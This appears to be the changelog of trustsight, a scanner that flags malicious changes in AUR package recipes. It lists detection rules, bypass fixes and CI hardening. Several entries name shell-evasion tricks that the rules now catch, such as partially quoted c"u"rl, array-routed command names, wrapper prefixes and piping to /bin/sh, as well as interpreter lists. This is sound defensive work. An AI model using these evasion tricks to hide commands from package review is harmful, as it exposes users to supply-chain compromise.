[experimental_rules]renamed to[code_rules]. The section toggles code-emitted rules (D001-D004, H015-H019), which are enabled by default and are not experimental; the old name made reviewers read them as off by default. The pre-rename name is still read as a fallback, with a deprecation warning, so an existingconfig.tomlkeeps the rules it turned on or off. Internal_EXPERIMENTAL_DEFAULTS/_experimental_enabledwere renamed to_CODE_RULE_DEFAULTS/_code_rule_enabled. The separate[rules] experimentalflag, which gatesrules.tomlrules, is unchanged.
Fixed¶
- Installation no longer clones a moving branch. The instructions pinned
nothing, so
git clone .../mastermet a PKGBUILD that names one released version. They now check out the latest release tag, and offerpackaging/local/PKGBUILDto build the checkout in place. Reported in #9. build()no longer downloads an unpinned build backend.python -m build --wheelbuilt in an isolated venv and fetched hatchling from PyPI with no version and no hash; it now uses--no-isolation, so the declared makedepend is the one used and the build is reproducible. Reported in #9.- The test suite no longer writes to the builder's home.
check()runs pytest, andconfig.pyderives its paths from$HOMEat import, so amakepkgrun created and edited the builder's live configuration and database, and a test that shells out to git read their global git config (commit.gpgsign,core.hooksPath).conftest.pynow redirectsHOME, theXDG_*_HOMEvariables andGIT_CONFIG_GLOBAL/GIT_CONFIG_SYSTEMbefore the package is imported. The suite also prefers an installed package over the source tree, socheck()exercises the wheel users receive rather than the checkout it was built from. Reported in #9. - The signature check runs on pushes, and reads the canonical path list.
It only ran on pull requests, so direct pushes to
masterbypassed it, and it readCRITICAL_PATHSfrom the change's own tree, so a pull request could remove a path from the list and then modify that path unsigned. It now also runs on pushes tomasterand unions the list from the base and the change. Reported in #9. -
The documentation extension moved under the package. The top-level
zensical_extensionsmodule had a generic name and the PKGBUILD'scheck()had to delete an inherited copy because it collided. It is nowtrustsight.zensical_extensions, so the docs build imports it from the install (pip install -e '.[docs]') rather than from the working directory, and no generic top-level module is installed. Thedocsextra is also pinned to the versions inuv.lock, because the site is built by an external service that does not read the lock. Reported in #9. -
W003 sees a patch applied through a redirection or a loop variable.
_PATCH_APPLY_RErequired a literal.patch/.diffargument, sopatch -p1 < "$p"andfor p in "$srcdir"/*.patch; do patch -p1 < "$p"; donewere invisible. The runtime form is now matched; when the tree commits a patch it stands down, since H090 has read that patch. Reported by Alexander Berg (Wehrwolfmann). - A dropped AUR RPC connection degrades instead of escaping. The lookup
caught
URLErrorbut not theOSErrorsubclasses a dropped connection raises (TimeoutError,ConnectionResetError,RemoteDisconnected) nor theValueErroran undecodable body raises, so an AUR hiccup duringinspectsurfaced as an unhandled failure. Reported by Alexander Berg (Wehrwolfmann). - The change summary names a source file the recipe added. A non-URL
source=()entry (a committed patch, a companion file) never reached the summary, which only reported added source hosts; the source-file entry is now reported alongside them. Reported by Alexander Berg (Wehrwolfmann). - The verdict no longer contradicts the version rules.
verdict.pyprefixed every non-fatal result with the literal"Version bump. ", so a diff that changed the source but leftpkgverat1.2.3read as a bump while C001/C003 fired underneath. The prefix is now derived from whether the diff actually movedpkgver, and the version-move check resolves the recipe's own variables:pkgver=${_gtkver}is judged by the value the diff assigns, so a real_gtkverbump reports C002 rather than the spurious C001 (HIGH) it used to. - A checksum change under a context declaration is detected, in both
directions. When a commit added or removed a hash in a multiline array
whose
sha256sums=(opener did not move, no detector saw it: adding one reported "no structural changes", and removing one was invisible to every checksum rule and to the change summary. The array is now tracked across context and added/removed lines, a removed entry fires C004 (CRITICAL), and a whole array deleted while the source is unchanged is reported through the samechecksum_behaviorvalue the summary and the verification-evidence path read - so the rule, the summary and the evidence cannot disagree about whether a checksum changed. - A
validpgpkeysremoval under a context opener disables GPG verification visibly.detect_gpg_verification_removedlooked for a removed line that itself carried a key; when the opener was context and only the keys were deleted, H024 stayed silent and the end state read as having no GPG verification. It now compares the reconstructed pre- and post-states. - A deleted
.sig/.ascentry no longer justifiesSKIP. The signature-file check inis_skip_justifiedhad no diff-side anchor, so a signature the diff removed - or one on a context line in another file's hunk - downgraded H001 from HIGH to INFO. It now reads the post-diff text. - H033 cannot be silenced by a no-op version line. "Did the version
move?" was a lexical match for
pkgver|pkgrel|epoch|…on a changed line, so adding a no-op+epoch=0suppressed H033 on a real commit-pin move, and a variable-driven bump fired it falsely. The guard now compares the resolved value ofpkgver,pkgrelandepoch, so a real rebuild still suppresses and a no-op line does not. - H087, the change summary and the FATAL verdict read the canonical
version facts. H087's "upstream did not move" used its own literal
pkgver =scan (so apkgver=${_gtkver}bump was missed); the change summary recomputed the move from the diff without the post-diff text (so the move could vanish from "What changed"); and the FATAL verdict branch dropped the version prefix the other two branches carry. All three now readpkgver_changed/pkgver_old/pkgver_newfrom the fact. - Host identity is one spelling everywhere. The change summary, C006's
domain comparison and the IOC host matcher computed the host differently
from
buckets.canonical_host, sohttps://[email protected]:443/…wastrusted_forgeto the classifier and a new host to the summary. All now route throughcanonical_host. DiffSummaryis built the same way on every producer. The text paths counted+++/---header lines inlines_addedand never populatedfiles_changed/file_changes, sois_trivialreturned true for any change on the bare-diff and corpus paths, and "new file"/"file removed" never appeared in the summary. One construction (differ.diff_summary_from_text) now serves them, matching the git producer's shape.- The corpus and git diff adapters split lines the same way. The corpus
path used Python's
splitlines, which breaks on U+2028 - an ordinary character to makepkg - so identical recipes produced different hunks depending on the adapter. Both now use the shell-awaresplit_lines. - Maintainer identity across paths. The git path reads
Name <email>from the PKGBUILD comment while the seed and corpus store the bare AUR account name; hashing both whole made every git-path lookup miss the seed, so H026 and maintainer novelty could read one person as globally novel on one path and known on the other. The hashing chokepoint now strips the angle-bracket suffix, leaving bare names (and the shipped seed's existing hashes) unchanged. - The first run reviews instead of asking you to run again.
reviewdownloaded the AUR metadata snapshot and returned after doing nothing; it now continues into discovery in the same invocation. - Runs are read-only by default. Novelty observations, analysis history
and version updates were written on every analysis, so two runs over the
same diff could disagree and
--recordwas effectively decorative.review,inspectand the API now persist nothing unless--recordis given (record=Trueon the API), restoring the determinism promise. The corpus builder remains a writer by definition.
Added¶
baseline-seed.tar.gznow ships the source-URL and dependency-name corpora alongside the hashed maintainers. The v2 builder and the release workflow packed maintainers only, so a fresh install imported zero known URLs and URL novelty had nothing to compare against.
Security¶
- Dispatch inputs are passed through the environment.
baselines.ymlinterpolated${{ inputs.tag }}and${{ inputs.ioc_source }}directly intorun:scripts in the job that writes the signing key to disk; they are now environment variables, so a dispatch input cannot become shell. Reported in #9. - The commit-signature check is pinned to one key. It accepted any
signature GitHub reported as verified, so any GPG key associated with any
account passed. It now imports
scripts/commit_signing_key.ascinto a throwaway keyring and verifies every critical-path commit against that key's fingerprint (F759D6D49B0A395AB922414A5CC3B4C50D37E793), locally, without the API'sverifiedflag. The key file is itself a critical path, so swapping the trust anchor is a signed change. Reported in #9. - A fetch now advances the analysed commit.
Remote.fetchupdates onlyrefs/remotes/origin/*, so the local branch and HEAD stayed at the first clone while every consumer reads HEAD: a maintainer could publish a benign version, wait for it to be cached, then push something malicious that was never looked at. The local branch is fast-forwarded to the fetched commit. Fixing it surfaced a second hole in the same area: a stale fetch marker fell through to the commit time of HEAD, which a future-dated commit could satisfy, so the marker is now authoritative. - A binary metadata file is a HIGH finding and a coverage gap. git emits
no diff body for a binary file, so a single NUL byte in
PKGBUILDor an install script read as a clean empty change while the shell still sourced the file normally. New rule C010 reports it, and thebinary_metadatagap forbids the run from reading clean. - A stage failure is recorded, not returned as "nothing found". The
dependency-change scan and the checksum resolver returned a neutral value
when an internal stage raised, which cleared the
deps_not_scannedand checksum gaps. A missing tokenizer now propagates as a refusal; any other failure records a degraded stage. - Rule-pattern verdicts are decided once. The backtracking probe is wall-clock, and it was re-measured on every call, so the same input could score differently under load. Verdicts are memoised and the shipped patterns are vetted single-threaded before the review pool starts. A refused rule now records a stage gap instead of disappearing silently.
- The history renderers clean every field, and a failed commit is reported.
The AUR commit subject and the plain renderer printed package-controlled
text raw, and ESC survives Rich's control-byte stripping; a commit whose
analysis crashed was dropped and mislabelled as a truncated walk. Both
renderers clean every value, and a failed commit is emitted as its own
failed: trueresult in JSON and in both renderers. - The seed no longer ships email hashes or per-maintainer package lists. The salt is public, so a salted hash of a guessed address is trivially confirmed, and a package list re-identifies the person even when the hash does not. The format is v3; a v2 seed still imports and its email and package fields are ignored.
-
Sandbox and download hardening. The tokenizer worker is retired by CPU used rather than only by request count; the frame cap is sized to the JSON-escaping worst case; the result of
unshare/prctlis reported rather than discarded; IOC imports verify against the pinned key instead of a key the artifact carries;safe_text.cleanstrips bidi and zero-width characters; the config, data and cache directories and the database are owner-only; downloads carry a total wall-clock deadline; the snapshot tar walk is bounded by members visited; and the worker runs with-s. -
The whole tokenizer runs in a sandboxed child process. The tokenizer is the second parser eating package-controlled input, and the one with an amplification property (
b=$a$adoubles per level), so A6 bounded it with four constants. A bound applied to a known amplification is a weaker assurance than "a defect here cannot reach anything", sotrustsight.tokenizeris now an RPC facade over a persistent pool of child processes: no inherited descriptors,RLIMIT_AS/RLIMIT_CPU/RLIMIT_FSIZE/RLIMIT_NOFILE,PR_SET_NO_NEW_PRIVS, a best-effort network namespace, and a wall-clock request timeout. The parent imports no engine code -_tokenizer_engine.pyis imported by the worker alone, enforced by the newtokenizer module is isolatedgate.
A child that cannot answer is a refusal, not a quiet run: the facade
raises TokenizerUnavailable, the package is reported as NOT vetted
through the existing failure path, and a new
a dead tokenizer child fails the package gate proves the real
scan_diff reaches that raise. The tokenizer_unavailable reason code
is added to the coverage taxonomy. The protocol is a four-byte length and
JSON, never pickle, with every frame and read capped; an identity cache
collapses the ~97 tokenizer entry-point calls a diff makes into about a
dozen child round-trips, and callers treat tokenizer output as read-only.
The security model's A1, A6, the "known architectural limits" and the sandboxing the tokenizer page are updated from a design note to a description of what exists.
These were found in a private source review by Olav Seyfarth (nursoda), with analysis assistance from Claude Code (Opus 5.5); the report is credited here at the reporter's request.
0.16.0 - 2026-09-19¶
This release is about the edges of the tool rather than its centre: what it emits when it is not writing to a terminal, what a caller outside the CLI can rely on, and the crash, leak and thread-safety defects underneath both. No detection rule changes meaning, no stored state or baseline needs migration, and a database written by 0.15.x is read unchanged.
Added¶
-
The public API is a documented contract.
trustsight.apihad always been the supported surface, but its docstrings were thin enough that an IDE hover told a caller almost nothing. Every export now carries reST fields::ivar:on each dataclass,:returns:,:raises:and anExample:block on the entry points, and theMAX_API_*constants are part of__all__.TYPE_CHECKINGre-exports and apy.typedmarker let type checkers and completion resolve the surface without importing the analysis stack.tests/test_api_docs.pyfails when a new export, dataclass field or method ships without a docstring, an annotation, or its:ivar:entry, so the documentation cannot drift from the code it describes. The package classifiers were extended to Python 3.14. -
Output is pipe-safe. Every renderer and progress display now targets stderr, and Rich renders only when stdout is a TTY, so
trustsight ... | jqandtrustsight ... > report.txtreceive the document and nothing else.NO_COLORandFORCE_COLORoverride the TTY guess. Download progress and human notices are withheld entirely under--json, which emits one clean JSON body.tests/test_streams.pypins the split. -
H083 and W001 cover eight more interpreters.
node,php,lua,tclsh,wish,julia,Rscript,bunanddenowere missing from the regex indelivery.pythat matches "interpreter runs a declared source file", as were the shellsfish,tcsh,csh,rc,es,elvish,xonsh,nuandosh. W001's file-extension list also gained.tcl,.jl,.Rand.ts. Closes eight known bypasses in which a recipe ran an unread script through an interpreter no rule recognised.
Changed¶
cli/admin.pywas split into four modules. The 1,084-line file is nowcli/config.py,cli/override.py,cli/db.pyandcli/baseline.py, withadmin.pykeeping the maintenance commands and the registrar. The commands are unchanged; the split only gives each surface a file a reviewer can hold in their head.
Fixed¶
-
depth.pycrashed with aNameError. The module usedjsonwithout importing it (F821). Any run that walked an AUR dependency graph reached the line and died. -
HTTP responses and tarfiles were left open.
_http_getandfetch_metadatanever closed the response on the success path, leaking a socket per call, and twotarfile.open()calls relied on garbage collection to release the archive. All four now usetry/finallyor awithblock. -
Shared state and clocks were made safe.
db.official_package_names()is guarded by athreading.Lockwith double-checked locking; the broadexcept Exceptionindepth._aur_childrenwas narrowed to the errors the call can actually raise; anddb.pytimestamps are now timezone-aware (datetime.now(timezone.utc), with_parse_tsreturning aware datetimes), so a report written in one zone is read the same in another. -
The regex audit tolerates a loaded machine.
growth_ratiocompared the minimum of two timings per probe length, and under build load both could land in a noisy window and inflate the ratio until a safe pattern looked superlinear. It now takes the median of three measurements. Separately, a load-sensitive refusal is no longer memoised, so one slow probe cannot disable a rule for the rest of the run. -
release.pyis bounded and no longer silent.resp.read()is capped at 10 MiB so a hostile release listing cannot exhaust memory, the swallowed exception in tag resolution is logged, anddiscovery.pysubprocess calls carrytimeout=30. -
build_release_tarball.py --checkwrote the artifact it was checking. A successful check fell through to the write path and dropped the release tarball overdist/trustsight-<pkgver>.tar.gz, which is whereuv buildhad just put the source distribution.verify_release.pycalls the script with--check, so it then read a file with noPKG-INFOand died with aStopIterationinstead of verifying the release. A check now returns without writing, and a regression test pins both the success and mismatch paths. -
Seed download 404 and the broken rules table.
seed fetchresolved/latest/, which 404s because the newest release is a baseline tag rather than a software tag; the baseline tag is now discovered through the GitHub API. The generated rules reference table emitted its headers outside the generation markers and rendered broken; headers now sit inside them, and the catalog gained a Series column and the missing W-series link. -
Seed import dropped the leftover backup table. The v2 and legacy SQLite seed paths shared the migration bug fixed for issue #7: a failed run could leave
maintainers_deprecated_backupin the schema, and the next import died onRENAMEwithOperationalError. Both paths now drop the table before renaming. -
--depsreported empty versions. Dependency entries readlatest_versionfrom the AUR snapshot and passed a missing installed version through as an empty string, which suppressed thepacman -Qfallback. Missing versions are nowNone, and empty entry values no longer overwrite an observed fact version. -
Library code stopped using
printandSystemExit.db.pymessages go throughlog.info(), andseed_build.pyraisesFileNotFoundErrorrather thanSystemExit, so a caller can handle the failure instead of having the interpreter exit under it. -
The README lost an incorrect attribution. It had credited R008 for a pattern that belongs to another rule, and counted five scoring namespaces where there are six. The AUR publication note was also corrected, and the DeepWiki badge now uses the same for-the-badge style as the rest of the header instead of a width-scaled image.
Security¶
- A hardening pass over the trust boundaries. The interpreter expansion
above is the detection half; the rest is resource and error handling at the
edges: the 10 MiB release-listing cap, the 30-second discovery timeout,
exception logging where a broad catch previously swallowed failure, and a
py.typedmarker that makes the typed surface checkable.tests/regressions/carries regression tests for the new H083 patterns and the seed error type.
Docs¶
-
A Rule Nature page explains what a rule id means. One page now states, for each series (
R,H,C,D,S,X,P,W), how it detects, whether it is tunable fromrules.toml, what weight it can carry and when it fires, so a reader no longer has to infer the difference between a regex rule and a heuristic one from the id. -
Every page was audited against the source. The rule catalog, coverage gaps, evidence tiers, severity and source-bucket weights, CLI synopses, flag and zero rates, and the retired-rule anchors were checked page by page and corrected where they had drifted, including the
UNFLAGGED/FLAGGEDterminology left over from before the Low/Medium/High/Critical bands. The rules index was regenerated,corpus.lockwas realigned to the 3,739-diff on-disk corpus, andnetwork.pynow declaresapi.github.comand bounds the releases-listing read. -
The public docstrings and
llms.txt. Every public function, class and CLI registrar gained a docstring, and anllms.txtcompanion now gives an LLM the same map of the documentation that the site navigation provides.
Stats¶
- 23 commits since v0.15.7
- 125 files changed, +5,964 / -1,598
- 3,967 tests (one corpus-consistency check skips without the local calibration corpus); 71/71 security gates, 11/11 calibration gates
- Package version 0.16.0
0.15.7 - 2026-09-02¶
Fixed¶
- sync-rules wizard now re-checks drift after sync. The "Safe sync complete" message no longer falsely reports "drifted field(s) still differ" when the drift was just fixed. The drift is re-evaluated against the updated file.
0.15.6 - 2026-09-01¶
Added¶
- R078: Compression command override detection (
COMPRESS*variables) - R091: Privilege escalation override detection (
PACMAN_AUTH) - R099: Trap statement detection
- R104: Error suppression detection (
trap '' ERR/DEBUG) - H096: DLAGENTS override detection (redirects source downloads)
- H097: Function shadowing detection (redefines
msg,cd,source, etc.) - X024: Indirect sensitive variable assignment detection
- X025: Multi-line function shadow detection
noextract_suppressedcoverage gap
Fixed¶
config sync-rulescrashes on "Full update" (issue #7)._replace_rule_blockwas not imported incli/admin.py, causing aNameErrorwhen choosing option 1.- Drift-aware sync.
sync_rules(update_outdated=True)now also replaces rules whose non-pattern semantic fields (match_target, severity, category) differ from shipped defaults. User-edited patterns are never overwritten. - SQLite migration crash (issue #7).
_migrate_plaintext_maintainers()now drops a leftovermaintainers_deprecated_backuptable before renaming, fixingOperationalError: there is already another table or index with this name. - Ctrl+C traceback. Added
KeyboardInterrupthandler around the analysis ThreadPoolExecutor to prevent threading shutdown tracebacks. - Doc counts updated. Rule counts, ID ranges, and gap counts corrected across 9 documentation files.
0.15.5 - 2026-09-01¶
Fixed¶
- Regex audit stability. The superlinear growth check now runs two measurements per probe and takes the minimum of each pair, filtering out scheduler noise on loaded machines. Threshold raised from 8x to 10x for additional headroom while still catching quadratic patterns (which cost ~16x).
0.15.4 - 2026-09-01¶
Added¶
-
config sync-ruleswizard. The command now starts an interactive wizard that shows what changed (new rules, outdated patterns, drifted fields) and offers three options: full update (overrides everything), safe update (adds missing + updates superseded patterns only), or skip. The--fullflag runs full update non-interactively;--updateruns safe update. -
Review y/n prompt for rules sync. When the installed
rules.tomldiffers from the shipped rule set,trustsight reviewnow promptsSync rules now? [y/N]before scanning. In non-interactive mode (piped output, CI), the prompt is skipped and the warning is shown.
0.15.3 - 2026-09-01¶
Changed¶
--depsshows all reverse dependencies. Each dependency now lists every installed package that requires it, not just the roots that triggered the walk. For example,lib32-sdl2showswine32, lib32-gstreamer, lib32-mpg123instead of onlywine32.
Fixed¶
-
Rich output no longer interleaves log messages. Python's logging handler printed directly to stderr, bypassing Rich's live display and producing garbled progress bars. A
_suppress_logging()context manager now silences logging during Rich live displays. -
Rules.toml drift prompt. When the installed
rules.tomldiffers from the shipped rule set, a one-time yellow header now saysRun 'trustsight config sync-rules' to updateinstead of repeating the same "Not vetted" message on every package. -
Spinner stopped before download progress. The "Discovering packages..." spinner now stops before the download progress bar starts, preventing two concurrent Rich live displays from fighting over the terminal.
-
Regex backtracking warnings demoted to DEBUG. These messages appeared inline with progress bars on every analysis run. Now only visible with
--verboseor debug logging. -
release/ added to .gitignore. The publishing workflow creates a
release/scratch directory that causedbuild_release_tarball.pyto refuse building from a dirty tree.
0.15.2 - 2026-09-01¶
Fixed¶
-
Regex audit flakiness under build load. The
is_superlinear()check inregex_safety.pycompared wall-clock timing at 512 and 2048 chars; CPU load duringmakepkgcaused the ratio to exceed the 8x threshold for patterns that are actually fine. Raised the threshold from 8x to 12x; a ratio above 12x on 4x input is still clearly superlinear (true quadratic would be 16x). -
check()FileExistsError on repeat builds. The PKGBUILDcheck()function created a venv with--system-site-packagesbut only cleanedtrustsight*paths. On repeat runs,zensical_extensions/from a previous install collided with the new wheel. Now removes the entire venv before recreating, and also cleanszensical_extensions.
0.15.1 - 2026-09-01¶
Changed¶
- AUR RPC queries retry on transient errors.
get_aur_package_info()indiscovery.pynow retries up to three times with exponential backoff on HTTP 429, 5xx, and connection-reset errors, and honoursRetry-Afterheaders. Previously a single transient failure discarded all uncached packages with no retry.
Added¶
-
review --refreshforces a fresh metadata snapshot. The flag bypasses the[discovery] metadata_ttl_minutesTTL and re-downloads the AUR metadata dump immediately. Useful when the snapshot is stale but its age is still within the TTL window. -
Snapshot age shown when reused. When the AUR metadata snapshot is reused without refreshing (TTL not exceeded, or TTL set to 0), the tool now prints its age and a hint about
--refreshor the config key.
Fixed¶
-
PKGBUILD source URL uses release asset. The AUR PKGBUILD source line was inadvertently switched to GitHub's generated archive (
/archive/refs/tags/), whose gzip settings changed in 2023 and invalidated recorded checksums across distributions. Reverted to the immutable release asset (/releases/download/). -
Corpus lock aligned to on-disk count.
corpus.lockrecorded 3,739 entries but only 3,246.difffiles exist in the benign corpus. Updatedtotal_entriesand all 50+ doc references to 3,246. -
Regex warning includes rule ID. The "refusing regex pattern with excessive backtracking risk" log message now identifies the rule (
(rule R013)) so operators can diagnose which pattern was refused. -
CLI flag documented.
--refreshadded to the CLI reference table.
Stats¶
- 2 commits since v0.15.0
- 24 files changed, +137 / -65
- 3,644 tests, all passing
- Package version 0.15.1
0.15.0 - 2026-08-31¶
Changed¶
-
Deferred imports for faster startup.
rich,typer, the analysis engine,discovery,ioc_baselineandrevieware imported on first call rather than at module scope, so--versionand--helpno longer load the rule engine.HAS_RICHis now answered viaimportlib.util.find_specinstead of a try/except import block. Applied acrossdisplay.py,review.py,inspect.py,forget.py,ioc.py, andseed.py. -
review --sortsorts results after analysis. Acceptsscore(worst first),risk(Critical, High, Medium, Inconclusive, Low), orname(alphabetical). Default is discovery order. -
list --sortsorts packages. Acceptsscore,risk,name, orlast-checked. The--jsonoutput now also carries averdictfield (the stored risk band). -
Auto-sync shipped rules on startup.
ensure_default_configs()now callssync_rules(), appending any shipped rules the user'srules.tomlis missing. This prevents silent rule drift after upgrades; replacements still require an explicitconfig sync-rules. -
Analysis hot-path functions are cached.
_heredoc_body_indices(called by 20 rule families),_declared_source_basenames(8 families),join_line_continuations(10 call sites), and_enclosing_function_mapare now LRU-cached on their input._SCALAR_SOURCE_REis hoisted to module level (was recompiled per call in 8 families).
Added¶
-
inspect --allow-uninstalledanalyse a package not in the local pacman set. The name is resolved against the AUR, cloned, and analysed. Without--record, the analysis uses a read-only SQLite connection (A15), so auditing a suspicious package cannot warm local state. With--record, observations are written. Installed packages always record;--recordwithout--allow-uninstalledis refused. -
inspect --last Nanalyse the N most recent content-bearing commits as N separate results, newest first. Each diff is independently scored. Bounded:N <= 50, combined diff bytes capped atMAX_RUN_DIFF_BYTES. Refuses--lastwith--depth > 0in this version. When the walk is truncated,history_truncatedis attached as a coverage gap to the newest result. -
history --from-date / --to-datefilter history entries by date range. AcceptsYYYY-MM-DDor full ISO datetime. Inclusive:--to-date 2026-06-01includes entries from that day. -
forget --dry-runpreview what would be removed without touching the database. Shows rule counts for each package. -
Security gate A11 (freshness uses local marker).
_is_currentinfetcher.pymust read the locallast_fetch_timemarker before consulting the HEAD commit time. A gate asserts the pattern via AST analysis. -
Security gate A15 (audit does not warm state).
--allow-uninstalledwithout--recordopens a read-only SQLite connection (mode=ro). A gate asserts the connection mode. A package with no local observations has maturity 0, so a Medium-band score with no HIGH-or-worse finding renders Inconclusive, not Low. -
Six new security gates for the history walk: bounded walk, bounded run diff assembly, truncated walk declared as gap, every diff scored independently, and two structural checks.
-
Two new coverage gaps.
history_truncated(walk stopped before yielding N results) andscan_truncated(diff tail not matched by any rule).
Fixed¶
-
Corpus size aligned across documentation. All non-changelog doc references updated from 3,246 to 3,739 to match
corpus.lockand the on-disk count. -
test_sort_option_acceptednetwork dependency. The review sort test now mocksfetch_metadatato avoid AUR network calls.
Security¶
- Pipeline hardened against crafted input. Resource and parser boundaries tightened; A4b (differ/companion bounds) and A4c (API input bounds) separated as explicit security claims. A15 added to the security model.
Stats¶
- 6 commits since v0.14.1
- 51 files changed, +2,244 / -235
- 3,664 tests, all passing
- 71/71 security gates, 10/10 calibration gates
- Package version 0.15.0
0.14.1 - 2026-08-30¶
Fixed¶
-
makepkg -sifails on upgrades from systems with trustsight already installed. The AURcheck()function creates a test venv with--system-site-packages, which inherits the system-installed trustsight package. The installer then collides on the existing package files and entry-point script, leaving the old version in place. The venv now has the inherited package removed before the fresh wheel is installed. -
H043 regression tests fail when a stale
rules.tomlexists.test_an_evasion_only_chain_can_reach_the_stage_countandtest_the_staged_attack_annotation_reaches_the_readercallscan_diff()with the default config, so they read the operator's~/.config/trustsight/rules.toml. A stale file shipped before v0.13.2 carries a legacy R054 pattern that no longer matches, so the persistence kill-chain stage never fires, the diff only reaches two of the three required stages, and H043 stays below threshold. Both tests now take theisolatedfixture, which redirectsCONFIG_DIRto a scratch directory so the shipped defaults are always used.
0.14.0 - 2026-08-25¶
Changed¶
- Rule ids now say how a rule works:
Ris a regex,His a heuristic. TheRprefix used to mean only "a detection rule". SomeRids were patterns inrules.tomlthat an operator could read, tune or disable; others were emitted from analysis code and could not be touched from a config file at all. Nothing in the id distinguished them, so "look up the rule and adjust it" was advice that worked for some ids and silently failed for others.
The ninety-five programmatic ids are renamed to H001-H095. The
thirty-two ids declared in rules.toml keep their R prefix, and after this
release every R id is something you can find and edit in that file. No
exceptions, which is the point: the prefix is now a fact about the rule rather
than a fact about when it was added.
The S, X, C, D, W and P families are untouched.
- **The mapping is derived, not hand-written.** It is the catalog minus the
shipped rule set, computed once by `scripts/rule_id_mapping.py` and frozen
into `trustsight.rule_id_history`. A hand-maintained list would be a second
list that has to agree with the catalog, which is the defect class this
release is cleaning up rather than repeating.
- **Stored ids are migrated on first open.** Alert de-duplication keys on
`(package_name, rule_id)`, so without a migration the first run after
upgrading would treat every previously-seen alert as new and re-notify for
the whole watchlist. `alert_state` and `triggered_rules` are rewritten, and
the database is stamped with a schema version so the rewrite runs once.
- **Baselines and reports published before this release name the old ids.**
`trustsight.rule_id_history.current_id` translates one, for artifacts that
are read but never rewritten.
- **Retired ids are not recycled.** The rename frees ninety-five `R`
numbers, and a stored report, a published baseline or a `[rules.R###]`
override can still name one. Handing `R060` to an unrelated new rule
would make those references quietly wrong rather than loudly absent, so
the linter reserves every retired id and refuses a `rules.toml` entry
that claims one.
- **Weights, severities, thresholds and behaviour are unchanged.** No rule
fires differently; only its name changed.
Fixed¶
- The test suite no longer hangs. A full run stalled indefinitely instead
of finishing.
test_watch_stops_cleanly_on_interruptpatchesrun_baseline_build; under a full run the patch stopped applying, the real function ran, and the suite sat downloading the live AUR metadata dump behind a 300-second timeout. It never failed - it waited, with no failing assertion to point at.
The suite now runs offline by construction: TRUSTSIGHT_OFFLINE is set for
every test and outbound sockets are blocked, so a missing mock raises
immediately and names the frame that reached for the network. A full run
finishes in about 85 seconds.
- **The cause of most of it was one test.** A lint test deleted every
`trustsight*` entry from `sys.modules` to check an attribute is built
lazily, and never restored them. After that, a later test's
`monkeypatch.setattr("trustsight.db.DATA_DIR", tmp_path)` patched a
different module object from the one its own imports were bound to:
`init_db()` created tables in a temporary directory while
`get_connection()` opened the operator's real database. That single
leak accounted for twenty-seven failures across three files, none of
which named the test that caused them - including a `H064` cold-start
failure that looked like a rule bug and was not one.
- **The guard is a `BaseException`.** `run_watch` treats a failed cycle as
a network blip and retries forever when the cycle count is zero, so a
guard that ordinary error handling can swallow turns a stall into a
spin.
Rule id mapping¶
| Old | New | Old | New | Old | New | Old | New |
|---|---|---|---|---|---|---|---|
R004 |
H001 |
R070 |
H025 |
R096 |
H049 |
R125 |
H073 |
R005 |
H002 |
R071 |
H026 |
R097 |
H050 |
R126 |
H074 |
R006 |
H003 |
R072 |
H027 |
R098 |
H051 |
R127 |
H075 |
R009 |
H004 |
R073 |
H028 |
R100 |
H052 |
R128 |
H076 |
R014 |
H005 |
R074 |
H029 |
R101 |
H053 |
R129 |
H077 |
R016 |
H006 |
R075 |
H030 |
R102 |
H054 |
R130 |
H078 |
R018 |
H007 |
R076 |
H031 |
R105 |
H055 |
R131 |
H079 |
R019 |
H008 |
R077 |
H032 |
R106 |
H056 |
R132 |
H080 |
R020 |
H009 |
R079 |
H033 |
R107 |
H057 |
R136 |
H081 |
R021 |
H010 |
R080 |
H034 |
R108 |
H058 |
R137 |
H082 |
R022 |
H011 |
R081 |
H035 |
R110 |
H059 |
R138 |
H083 |
R023 |
H012 |
R082 |
H036 |
R111 |
H060 |
R139 |
H084 |
R024 |
H013 |
R083 |
H037 |
R112 |
H061 |
R140 |
H085 |
R025 |
H014 |
R084 |
H038 |
R114 |
H062 |
R141 |
H086 |
R060 |
H015 |
R085 |
H039 |
R115 |
H063 |
R142 |
H087 |
R061 |
H016 |
R086 |
H040 |
R116 |
H064 |
R143 |
H088 |
R062 |
H017 |
R087 |
H041 |
R117 |
H065 |
R145 |
H089 |
R063 |
H018 |
R088 |
H042 |
R118 |
H066 |
R146 |
H090 |
R064 |
H019 |
R089 |
H043 |
R119 |
H067 |
R147 |
H091 |
R065 |
H020 |
R090 |
H044 |
R120 |
H068 |
R148 |
H092 |
R066 |
H021 |
R092 |
H045 |
R121 |
H069 |
R149 |
H093 |
R067 |
H022 |
R093 |
H046 |
R122 |
H070 |
R150 |
H094 |
R068 |
H023 |
R094 |
H047 |
R123 |
H071 |
R151 |
H095 |
R069 |
H024 |
R095 |
H048 |
R124 |
H072 |
0.13.2 - 2026-08-15¶
Added¶
- A crossfire rule family (X001-X007): the evasion technique, not the
payload. Every other family fires on what a diff does; these fire on how it
was written. The reason is where detection actually failed - the payload rules
held, and the tokenizer feeding them did not. Partial quoting (
c"u"rl), array routing (${A[0]}), namerefs and command substitution each assemble an executable name that no pattern over the resolved text ever sees, because resolution is the step that broke.
The failure mode inverts: a defeated tokenizer used to produce silence, which is the worst available output - the analysis reads clean exactly when it understood least. It now produces a CRITICAL finding, so the bypass and the alarm are the same event.
- `X001` encoded payload decoded to a shell (CRITICAL), `X002` non-literal
executable name (CRITICAL), `X003` obfuscated command argument (HIGH),
`X004` build output suppressed (MEDIUM), `X005` write into the operator's
home (HIGH), `X006` source points somewhere unexpected (HIGH), `X007` two
or more techniques in one diff (CRITICAL).
- **Measured before weighted.** Against the 3,739-diff locked benign
corpus: X001, X003, X004, X005, X006 and X007 fire on **zero** diffs;
X002 on 26 (0.695%). The ceiling is 30%, so these sit well under it,
which is what makes CRITICAL affordable - legitimate recipes do not
assemble command names out of parts. Hardening X002 against evasion
raised its rate from 0.374%, and two further exclusions (an expression
context is not a command; a leading flag means a continuation line)
brought it back down from 1.097%.
- **The anti-evasion rules were themselves attacked, and lost twelve
times before they held.** A family whose purpose is detecting evasion is
the one place where "can the rule be evaded" is not rhetorical. X002 fell
to nine variants that displace the command word - an assignment prefix
(`FOO=1 ${A[0]}`), a wrapper (`env`, `exec`, `sudo`, `nohup`,
`timeout 5`), a leading redirect (`>out ${A[0]}`) and a subshell
(`( ${A[0]} )`) - because it read the first token rather than walking
past prefixes. X001 fell to `| /bin/sh` and `| env sh`; X005 to
`/home//alice` and an assignment prefix. All are closed and pinned as
